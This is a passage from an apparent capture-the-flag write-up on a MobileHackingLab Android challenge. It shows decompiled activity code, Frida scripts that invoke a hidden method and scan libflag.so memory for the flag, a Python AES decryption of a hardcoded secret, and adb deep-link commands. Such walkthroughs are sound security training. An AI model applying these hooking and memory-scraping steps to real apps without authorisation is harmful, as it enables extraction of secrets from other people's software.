{&quot;Lcom/mobilehackinglab/challenge/MainActivity;&quot;, &quot;Landroidx/appcompat/app/AppCompatActivity;&quot;, &quot;()V&quot;, &quot;binding&quot;, &quot;Lcom/mobilehackinglab/challenge/databinding/ActivityMainBinding;&quot;, &quot;KLOW&quot;, &quot;&quot;, &quot;onCreate&quot;, &quot;savedInstanceState&quot;, &quot;Landroid/os/Bundle;&quot;, &quot;stringFromJNI&quot;, &quot;&quot;, &quot;Companion&quot;, &quot;app_debug&quot;}, k = 1, mv = {1, 9, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)<br>/* loaded from: classes4.dex */<br>public final class MainActivity extends AppCompatActivity {<br>    private ActivityMainBinding binding;<br>    public final native String stringFromJNI();<br>    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());<br>        Intrinsics.checkNotNullExpressionValue(inflate, &quot;inflate(...)&quot;);<br>        this.binding = inflate;<br>        ActivityMainBinding activityMainBinding = null;<br>        if (inflate == null) {<br>            Intrinsics.throwUninitializedPropertyAccessException(&quot;binding&quot;);<br>            inflate = null;<br>        }<br>        setContentView(inflate.getRoot());<br>        ActivityMainBinding activityMainBinding2 = this.binding;<br>        if (activityMainBinding2 == null) {<br>            Intrinsics.throwUninitializedPropertyAccessException(&quot;binding&quot;);<br>        } else {<br>            activityMainBinding = activityMainBinding2;<br>        }<br>        activityMainBinding.sampleText.setText(stringFromJNI());<br>    }<br>    static {<br>        System.loadLibrary(&quot;challenge&quot;);<br>    }<br>    public final void KLOW() {<br>        SharedPreferences sharedPreferences = getSharedPreferences(&quot;DAD4&quot;, 0);<br>        SharedPreferences.Editor editor = sharedPreferences.edit();<br>        Intrinsics.checkNotNullExpressionValue(editor, &quot;edit(...)&quot;);<br>        SimpleDateFormat sdf = new SimpleDateFormat(&quot;dd/MM/yyyy&quot;, Locale.getDefault());<br>        String cu_d = sdf.format(new Date());<br>        editor.putString(&quot;UUU0133&quot;, cu_d);<br>        editor.apply();<br>    }<br>}</pre><p>Upon launching the application, the MainActivity is displayed with a TextView showing the message: <strong>&quot;Hello from C++&quot;</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*9ZMJuwl8iNLRmjGd.png" /><figcaption>MainActivity</figcaption></figure><h3>Triggering SharedPreferences via Frida</h3><p>To trigger KLOW() and set the required value in DAD4.xml, the following Frida script was used:</p><pre>Java.choose(&quot;com.mobilehackinglab.challenge.MainActivity&quot;, {<br>    onMatch: function(instance) {<br>        console.log(&quot;Found MainActivity: &quot; + instance);<br>        instance.KLOW();<br>    },<br>    onComplete: function() {}<br>});</pre><p>This Frida script locates the running instance of MainActivity and invokes its KLOW() method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IX2_YMtAuLGlwjhsUOJmFQ.png" /><figcaption>Triggering SharedPreferences via Frida</figcaption></figure><p>To ensure that the shared preference file created successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvIrZodEHJXeKFqBUDYf8w.png" /><figcaption>DAD4.xml Created Successfully</figcaption></figure><h3>Activity2 Analysis</h3><p><strong>Activity2</strong> verifies if the intent was triggered via the deep link mhl://labs/&lt;base64_encoded_secret&gt; and if the current date matches a value stored in SharedPreferences. If validated, it decrypts the base64-encoded secret and displays a native flag using getflag(); otherwise, it terminates the app.</p><pre>package com.mobilehackinglab.challenge;<br>import android.content.SharedPreferences;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.util.Base64;<br>import android.widget.Toast;<br>import androidx.appcompat.app.AppCompatActivity;<br>import androidx.constraintlayout.widget.ConstraintLayout;<br>import java.text.SimpleDateFormat;<br>import java.util.Date;<br>import java.util.Locale;<br>import javax.crypto.Cipher;<br>import javax.crypto.spec.IvParameterSpec;<br>import javax.crypto.spec.SecretKeySpec;<br>import kotlin.Metadata;<br>import kotlin.jvm.internal.Intrinsics;<br>import kotlin.text.Charsets;<br>/* compiled from: Activity2.kt */<br>@Metadata(d1 = {&quot;\\u0000(\\n\\u0002\\u0018\\u0002\\n\\u0002\\u0018\\u0002\\n\\u0002\\b\\u0002\\n\\u0002\\u0010\\u000e\\n\\u0002\\b\\u0004\\n\\u0002\\u0018\\u0002\\n\\u0002\\b\\u0002\\n\\u0002\\u0010\\u0002\\n\\u0000\\n\\u0002\\u0018\\u0002\\n\\u0000\\u0018\\u00002\\u00020\\u0001B\\u0005¢\\u0006\\u0002\\u0010\\u0002J\\b\\u0010\\u0003\\u001a\\u00020\\u0004H\\u0002J\\u001e\\u0010\\u0005\\u001a\\u00020\\u00042\\u0006\\u0010\\u0006\\u001a\\u00020\\u00042\\u0006\\u0010\\u0007\\u001a\\u00020\\u00042\\u0006\\u0010\\b\\u001a\\u00020\\tJ\\t\\u0010\\n\\u001a\\u00020\\u0004H\\u0082 J\\u0012\\u0010\\u000b\\u001a\\u00020\\f2\\b\\u0010\\r\\u001a\\u0004\\u0018\\u00010\\u000eH\\u0014¨\\u0006\\u000f&quot;}, d2 = {&quot;Lcom/mobilehackinglab/challenge/Activity2;&quot;, &quot;Landroidx/appcompat/app/AppCompatActivity;&quot;, &quot;()V&quot;, &quot;cd&quot;, &quot;&quot;, &quot;decrypt&quot;, &quot;algorithm&quot;, &quot;cipherText&quot;, &quot;key&quot;, &quot;Ljavax/crypto/spec/SecretKeySpec;&quot;, &quot;getflag&quot;, &quot;onCreate&quot;, &quot;&quot;, &quot;savedInstanceState&quot;, &quot;Landroid/os/Bundle;&quot;, &quot;app_debug&quot;}, k = 1, mv = {1, 9, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)<br>/* loaded from: classes4.dex */<br>public final class Activity2 extends AppCompatActivity {<br>    private final native String getflag();<br>    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_2);<br>        SharedPreferences sharedPreferences = getSharedPreferences(&quot;DAD4&quot;, 0);<br>        String u_1 = sharedPreferences.getString(&quot;UUU0133&quot;, null);<br>        boolean isActionView = Intrinsics.areEqual(getIntent().getAction(), &quot;android.intent.action.VIEW&quot;);<br>        boolean isU1Matching = Intrinsics.areEqual(u_1, cd());<br>        if (isActionView &amp;&amp; isU1Matching) {<br>            Uri uri = getIntent().getData();<br>            if (uri != null &amp;&amp; Intrinsics.areEqual(uri.getScheme(), &quot;mhl&quot;) &amp;&amp; Intrinsics.areEqual(uri.getHost(), &quot;labs&quot;)) {<br>                String base64Value = uri.getLastPathSegment();<br>                byte[] decodedValue = Base64.decode(base64Value, 0);<br>                if (decodedValue != null) {<br>                    String ds = new String(decodedValue, Charsets.UTF_8);<br>                    byte[] bytes = &quot;your_secret_key_1234567890123456&quot;.getBytes(Charsets.UTF_8);<br>                    Intrinsics.checkNotNullExpressionValue(bytes, &quot;this as java.lang.String).getBytes(charset)&quot;);<br>                    String str = decrypt(&quot;AES/CBC/PKCS5Padding&quot;, &quot;bqGrDKdQ8zo26HflRsGvVA==&quot;, new SecretKeySpec(bytes, &quot;AES&quot;));<br>                    if (str.equals(ds)) {<br>                        System.loadLibrary(&quot;flag&quot;);<br>                        String s = getflag();<br>                        Toast.makeText(getApplicationContext(), s, 1).show();<br>                        return;<br>                    } else {<br>                        finishAffinity();<br>                        finish();<br>                        System.exit(0);<br>                        return;<br>                    }<br>                }<br>                finishAffinity();<br>                finish();<br>                System.exit(0);<br>                return;<br>            }<br>            finishAffinity();<br>            finish();<br>            System.exit(0);<br>            return;<br>        }<br>        finishAffinity();<br>        finish();<br>        System.exit(0);<br>    }<br>    public final String decrypt(String algorithm, String cipherText, SecretKeySpec key) {<br>        Intrinsics.checkNotNullParameter(algorithm, &quot;algorithm&quot;);<br>        Intrinsics.checkNotNullParameter(cipherText, &quot;cipherText&quot;);<br>        Intrinsics.checkNotNullParameter(key, &quot;key&quot;);<br>        Cipher cipher = Cipher.getInstance(algorithm);<br>        try {<br>            byte[] bytes = Activity2Kt.fixedIV.getBytes(Charsets.UTF_8);<br>            Intrinsics.checkNotNullExpressionValue(bytes, &quot;this as java.lang.String).getBytes(charset)&quot;);<br>            IvParameterSpec ivSpec = new IvParameterSpec(bytes);<br>            cipher.init(2, key, ivSpec);<br>            byte[] decodedCipherText = Base64.decode(cipherText, 0);<br>            byte[] decrypted = cipher.doFinal(decodedCipherText);<br>            Intrinsics.checkNotNull(decrypted);<br>            return new String(decrypted, Charsets.UTF_8);<br>        } catch (Exception e) {<br>            throw new RuntimeException(&quot;Decryption failed&quot;, e);<br>        }<br>    }<br>    private final String cd() {<br>        String str;<br>        SimpleDateFormat sdf = new SimpleDateFormat(&quot;dd/MM/yyyy&quot;, Locale.getDefault());<br>        String format = sdf.format(new Date());<br>        Intrinsics.checkNotNullExpressionValue(format, &quot;format(...)&quot;);<br>        Activity2Kt.cu_d = format;<br>        str = Activity2Kt.cu_d;<br>        if (str != null) {<br>            return str;<br>        }<br>        Intrinsics.throwUninitializedPropertyAccessException(&quot;cu_d&quot;);<br>        return null;<br>    }<br>}</pre><p>While attempting to open Activity2 using the following command, the app crashes and the activity fails to launch:</p><pre>adb -s 127.0.0.1:5555 shell am start com.mobilehackinglab.challenge/.Activity2</pre><h3>Decrypting the Secret Key</h3><p>This script decrypts a base64-encoded AES-CBC encrypted secret using a static key and IV, revealing the plaintext secret mhl_secret_1337.</p><pre>from base64 import b64decode<br>from Crypto.Cipher import AES<br><br>key = b&quot;your_secret_key_1234567890123456&quot;  # 32-byte key<br>cipher_text_b64 = &quot;bqGrDKdQ8zo26HflRsGvVA==&quot;<br># From Activity2.kt – IV should be defined in `fixedIV`<br>iv = b&quot;1234567890123456&quot;  # Replace this with actual value from Activity2Kt.fixedIV<br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>decrypted = cipher.decrypt(b64decode(cipher_text_b64))<br># Unpad manually (PKCS5/7)<br>pad_len = decrypted[-1]<br>print(decrypted[:-pad_len].decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ouuS8MVnDsYvfJnlK2Fm6w.png" /><figcaption>Decrypting Secret Key</figcaption></figure><p>I encoded the secret key to Base64 as bWhsX3NlY3JldF8xMzM3 and triggered Activity2 using the deep link mhl://labs/bWhsX3NlY3JldF8xMzM3. Although it returned &quot;Success,&quot; no flag was displayed, indicating the flag is likely hidden in memory.</p><pre>adb -s 127.0.0.1:5555 shell am start -a android.intent.action.VIEW -d &quot;mhl://labs/bWhsX3NlY3JldF8xMzM3&quot; com.mobilehackinglab.challenge</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwbFgWrqBnX_98u5Mz_7-A.png" /></figure><h3>Reversing Native Libraries</h3><p>I reversed the native libraries using Ghidrato analyze their structure and understand how the flag is generated or accessed.</p><p>The native method getflag() in Activity2 calls a series of custom functions — likely for obfuscation or flag construction — and finally returns the string &quot;Success&quot; without directly exposing the flag. The real flag is likely assembled or hidden during these internal function calls, potentially in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nx4s16LjfDT6JaD4HBvSXg.png" /><figcaption>libflag.so</figcaption></figure><p>This function returns a JNI string created from a native C++ string generated by stringFromJNI(), which initially holds &quot;Hello from C++&quot;. It uses internal C++ functions to build and clean up the string and includes stack protection for integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5Nudf4UFjbQla3mKDjgMQ.png" /><figcaption>libchallenge.so</figcaption></figure><p>I didn’t find any hardcoded flag while reversing the native libraries.</p><h3>Retrieving The Flag Using Frida</h3><p>Before running this step, you must trigger <strong>Activity2</strong> using the deep link (mhl://labs/&lt;base64_secret&gt;) to ensure the native library is loaded and the flag is initialized in memory.<br>Then, use this Frida script to scan libflag.so for the &quot;MHL&quot; pattern and read the flag directly from memory using a C-string read and hex dump.</p><pre>console.log(&quot;[*] Starting memory scan...&quot;);<br>function readCString(ptr) {<br>    let result = &quot;&quot;;<br>    for (let i = 0; i &lt; 100; i++) {<br>        const byte = Memory.readU8(ptr.add(i));<br>        if (byte === 0x00) break; // null-terminated<br>        result += String.fromCharCode(byte);<br>    }<br>    return result;<br>}<br>function hexDump(ptr, size) {<br>    return hexdump(ptr, {<br>        offset: 0,<br>        length: size,<br>        header: true,<br>        ansi: false<br>    });<br>}<br>const moduleName = &quot;libflag.so&quot;;<br>const pattern = &quot;4d 48 4c&quot;; // MHL in hex<br>const module = Process.getModuleByName(moduleName);<br>console.log(&quot;[*] Found &quot; + moduleName + &quot; at: &quot; + module.base);<br>Memory.scan(module.base, module.size, pattern, {<br>    onMatch: function (address, size) {<br>        console.log(&quot;[+] Potential flag found at: &quot; + address);<br>        try {<br>            console.log(&quot;    Reading memory...&quot;);<br>            const flag = readCString(address);<br>            console.log(&quot;[+] Flag (as string): &quot; + flag);<br>            console.log(&quot;[+] Hexdump:&quot;);<br>            console.log(hexDump(address, 64));<br>        } catch (err) {<br>            console.error(&quot;Error reading memory:&quot;, err);<br>        }<br>    },<br>    onError: function (reason) {<br>        console.error(&quot;Memory scan failed:&quot;, reason);<br>    },<br>    onComplete: function () {<br>        console.log(&quot;[*] Memory scan complete.&quot;);<br>    }<br>});</pre><p>This is the flag we successfully extracted from memory after triggering the deep link and scanning the native library:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzhTSxRkmPl17PJHVJqQqA.png" /><figcaption>Flag Recovery via Memory Scan</figcaption></figure><p>Finally, I’ve completed the write-up on bypassing the native validation and retrieving the hidden flag using Frida and memory analysis. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*oOZdifxcWCeXOfmD.gif" /><figcaption>The End</figcaption></figure><h3>Contact</h3><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b16dc5be72eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>